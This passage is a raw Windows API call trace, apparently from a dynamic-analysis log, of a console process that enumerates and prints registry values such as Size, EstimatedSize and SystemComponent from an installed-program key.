[0150.594] GetFileType (hFile=0x50) returned 0x1 [0150.594] lstrlenW (lpString=" ") returned 4 [0150.594] GetConsoleOutputCP () returned 0x1b5 [0150.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.594] GetConsoleOutputCP () returned 0x1b5 [0150.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.594] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.594] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.594] __iob_func () returned 0x7fefd702a80 [0150.594] _fileno (_File=0x7fefd702ab0) returned 1 [0150.594] _errno () returned 0x204bb0 [0150.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.594] _errno () returned 0x204bb0 [0150.594] GetFileType (hFile=0x50) returned 0x1 [0150.594] lstrlenW (lpString="REG_SZ") returned 6 [0150.594] GetConsoleOutputCP () returned 0x1b5 [0150.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.595] GetConsoleOutputCP () returned 0x1b5 [0150.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.596] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.596] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.598] __iob_func () returned 0x7fefd702a80 [0150.598] _fileno (_File=0x7fefd702ab0) returned 1 [0150.598] _errno () returned 0x204bb0 [0150.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.601] _errno () returned 0x204bb0 [0150.602] GetFileType (hFile=0x50) returned 0x1 [0150.602] lstrlenW (lpString=" ") returned 4 [0150.604] GetConsoleOutputCP () returned 0x1b5 [0150.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.604] GetConsoleOutputCP () returned 0x1b5 [0150.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.605] __iob_func () returned 0x7fefd702a80 [0150.605] _fileno (_File=0x7fefd702ab0) returned 1 [0150.605] _errno () returned 0x204bb0 [0150.605] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.605] _errno () returned 0x204bb0 [0150.605] GetFileType (hFile=0x50) returned 0x1 [0150.605] lstrlenW (lpString="") returned 0 [0150.605] __iob_func () returned 0x7fefd702a80 [0150.605] _fileno (_File=0x7fefd702ab0) returned 1 [0150.605] _errno () returned 0x204bb0 [0150.605] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.605] _errno () returned 0x204bb0 [0150.605] GetFileType (hFile=0x50) returned 0x1 [0150.605] lstrlenW (lpString="\n") returned 1 [0150.605] GetConsoleOutputCP () returned 0x1b5 [0150.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.605] GetConsoleOutputCP () returned 0x1b5 [0150.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.606] GetProcessHeap () returned 0x3c0000 [0150.606] GetProcessHeap () returned 0x3c0000 [0150.606] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.606] GetProcessHeap () returned 0x3c0000 [0150.606] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.606] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.606] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.606] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.606] GetProcessHeap () returned 0x3c0000 [0150.606] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.606] GetProcessHeap () returned 0x3c0000 [0150.606] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.606] GetProcessHeap () returned 0x3c0000 [0150.606] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.606] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.606] __iob_func () returned 0x7fefd702a80 [0150.606] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.606] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.606] _fileno (_File=0x7fefd702ab0) returned 1 [0150.606] _errno () returned 0x204bb0 [0150.606] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.606] _errno () returned 0x204bb0 [0150.606] GetFileType (hFile=0x50) returned 0x1 [0150.606] lstrlenW (lpString=" ") returned 4 [0150.606] GetConsoleOutputCP () returned 0x1b5 [0150.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.606] GetConsoleOutputCP () returned 0x1b5 [0150.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.607] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.607] lstrlenW (lpString="Size") returned 4 [0150.607] __iob_func () returned 0x7fefd702a80 [0150.607] _fileno (_File=0x7fefd702ab0) returned 1 [0150.607] _errno () returned 0x204bb0 [0150.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.607] _errno () returned 0x204bb0 [0150.607] GetFileType (hFile=0x50) returned 0x1 [0150.607] lstrlenW (lpString="Size") returned 4 [0150.607] GetConsoleOutputCP () returned 0x1b5 [0150.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.607] GetConsoleOutputCP () returned 0x1b5 [0150.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0150.607] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.607] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.607] __iob_func () returned 0x7fefd702a80 [0150.607] _fileno (_File=0x7fefd702ab0) returned 1 [0150.607] _errno () returned 0x204bb0 [0150.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.607] _errno () returned 0x204bb0 [0150.607] GetFileType (hFile=0x50) returned 0x1 [0150.607] lstrlenW (lpString=" ") returned 4 [0150.608] GetConsoleOutputCP () returned 0x1b5 [0150.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.608] GetConsoleOutputCP () returned 0x1b5 [0150.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.608] __iob_func () returned 0x7fefd702a80 [0150.608] _fileno (_File=0x7fefd702ab0) returned 1 [0150.608] _errno () returned 0x204bb0 [0150.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.608] _errno () returned 0x204bb0 [0150.608] GetFileType (hFile=0x50) returned 0x1 [0150.608] lstrlenW (lpString="REG_SZ") returned 6 [0150.608] GetConsoleOutputCP () returned 0x1b5 [0150.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.608] GetConsoleOutputCP () returned 0x1b5 [0150.608] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.608] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.608] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.608] __iob_func () returned 0x7fefd702a80 [0150.609] _fileno (_File=0x7fefd702ab0) returned 1 [0150.609] _errno () returned 0x204bb0 [0150.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.609] _errno () returned 0x204bb0 [0150.609] GetFileType (hFile=0x50) returned 0x1 [0150.609] lstrlenW (lpString=" ") returned 4 [0150.609] GetConsoleOutputCP () returned 0x1b5 [0150.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.609] GetConsoleOutputCP () returned 0x1b5 [0150.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.609] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.609] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.609] __iob_func () returned 0x7fefd702a80 [0150.609] _fileno (_File=0x7fefd702ab0) returned 1 [0150.609] _errno () returned 0x204bb0 [0150.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.609] _errno () returned 0x204bb0 [0150.609] GetFileType (hFile=0x50) returned 0x1 [0150.609] lstrlenW (lpString="") returned 0 [0150.609] __iob_func () returned 0x7fefd702a80 [0150.609] _fileno (_File=0x7fefd702ab0) returned 1 [0150.609] _errno () returned 0x204bb0 [0150.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.609] _errno () returned 0x204bb0 [0150.609] GetFileType (hFile=0x50) returned 0x1 [0150.609] lstrlenW (lpString="\n") returned 1 [0150.609] GetConsoleOutputCP () returned 0x1b5 [0150.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.610] GetConsoleOutputCP () returned 0x1b5 [0150.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.610] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.610] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.610] GetProcessHeap () returned 0x3c0000 [0150.610] GetProcessHeap () returned 0x3c0000 [0150.610] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.610] GetProcessHeap () returned 0x3c0000 [0150.610] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.610] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.610] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.610] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.610] GetProcessHeap () returned 0x3c0000 [0150.610] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.610] GetProcessHeap () returned 0x3c0000 [0150.610] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.610] GetProcessHeap () returned 0x3c0000 [0150.610] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.610] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x6ec, pcbData=0x29f780*=0x4) returned 0x0 [0150.610] __iob_func () returned 0x7fefd702a80 [0150.610] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.610] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.610] _fileno (_File=0x7fefd702ab0) returned 1 [0150.610] _errno () returned 0x204bb0 [0150.610] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.611] _errno () returned 0x204bb0 [0150.611] GetFileType (hFile=0x50) returned 0x1 [0150.611] lstrlenW (lpString=" ") returned 4 [0150.611] GetConsoleOutputCP () returned 0x1b5 [0150.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.611] GetConsoleOutputCP () returned 0x1b5 [0150.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.611] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.611] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.611] lstrlenW (lpString="EstimatedSize") returned 13 [0150.611] __iob_func () returned 0x7fefd702a80 [0150.611] _fileno (_File=0x7fefd702ab0) returned 1 [0150.611] _errno () returned 0x204bb0 [0150.611] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.611] _errno () returned 0x204bb0 [0150.611] GetFileType (hFile=0x50) returned 0x1 [0150.611] lstrlenW (lpString="EstimatedSize") returned 13 [0150.611] GetConsoleOutputCP () returned 0x1b5 [0150.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.611] GetConsoleOutputCP () returned 0x1b5 [0150.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.612] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.612] __iob_func () returned 0x7fefd702a80 [0150.612] _fileno (_File=0x7fefd702ab0) returned 1 [0150.612] _errno () returned 0x204bb0 [0150.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.612] _errno () returned 0x204bb0 [0150.612] GetFileType (hFile=0x50) returned 0x1 [0150.612] lstrlenW (lpString=" ") returned 4 [0150.612] GetConsoleOutputCP () returned 0x1b5 [0150.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.612] GetConsoleOutputCP () returned 0x1b5 [0150.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.612] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.612] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.612] __iob_func () returned 0x7fefd702a80 [0150.612] _fileno (_File=0x7fefd702ab0) returned 1 [0150.612] _errno () returned 0x204bb0 [0150.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.612] _errno () returned 0x204bb0 [0150.612] GetFileType (hFile=0x50) returned 0x1 [0150.612] lstrlenW (lpString="REG_DWORD") returned 9 [0150.612] GetConsoleOutputCP () returned 0x1b5 [0150.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.613] GetConsoleOutputCP () returned 0x1b5 [0150.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.613] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.613] __iob_func () returned 0x7fefd702a80 [0150.613] _fileno (_File=0x7fefd702ab0) returned 1 [0150.613] _errno () returned 0x204bb0 [0150.613] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.613] _errno () returned 0x204bb0 [0150.613] GetFileType (hFile=0x50) returned 0x1 [0150.613] lstrlenW (lpString=" ") returned 4 [0150.613] GetConsoleOutputCP () returned 0x1b5 [0150.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.613] GetConsoleOutputCP () returned 0x1b5 [0150.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.613] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.613] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.613] __iob_func () returned 0x7fefd702a80 [0150.613] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.614] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x6ec") returned 5 [0150.614] _fileno (_File=0x7fefd702ab0) returned 1 [0150.614] _errno () returned 0x204bb0 [0150.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.614] _errno () returned 0x204bb0 [0150.614] GetFileType (hFile=0x50) returned 0x1 [0150.614] lstrlenW (lpString="0x6ec") returned 5 [0150.614] GetConsoleOutputCP () returned 0x1b5 [0150.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x6ec", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0150.614] GetConsoleOutputCP () returned 0x1b5 [0150.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x6ec", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x6ec", lpUsedDefaultChar=0x0) returned 5 [0150.614] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0150.614] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.614] __iob_func () returned 0x7fefd702a80 [0150.614] _fileno (_File=0x7fefd702ab0) returned 1 [0150.614] _errno () returned 0x204bb0 [0150.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.614] _errno () returned 0x204bb0 [0150.614] GetFileType (hFile=0x50) returned 0x1 [0150.614] lstrlenW (lpString="\n") returned 1 [0150.614] GetConsoleOutputCP () returned 0x1b5 [0150.614] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.614] GetConsoleOutputCP () returned 0x1b5 [0150.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.615] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.615] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.615] GetProcessHeap () returned 0x3c0000 [0150.615] GetProcessHeap () returned 0x3c0000 [0150.615] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.615] GetProcessHeap () returned 0x3c0000 [0150.615] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.615] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.615] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.615] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.615] GetProcessHeap () returned 0x3c0000 [0150.615] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.615] GetProcessHeap () returned 0x3c0000 [0150.615] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.615] GetProcessHeap () returned 0x3c0000 [0150.615] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.615] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.615] __iob_func () returned 0x7fefd702a80 [0150.615] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.615] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.615] _fileno (_File=0x7fefd702ab0) returned 1 [0150.615] _errno () returned 0x204bb0 [0150.615] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.615] _errno () returned 0x204bb0 [0150.615] GetFileType (hFile=0x50) returned 0x1 [0150.615] lstrlenW (lpString=" ") returned 4 [0150.615] GetConsoleOutputCP () returned 0x1b5 [0150.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 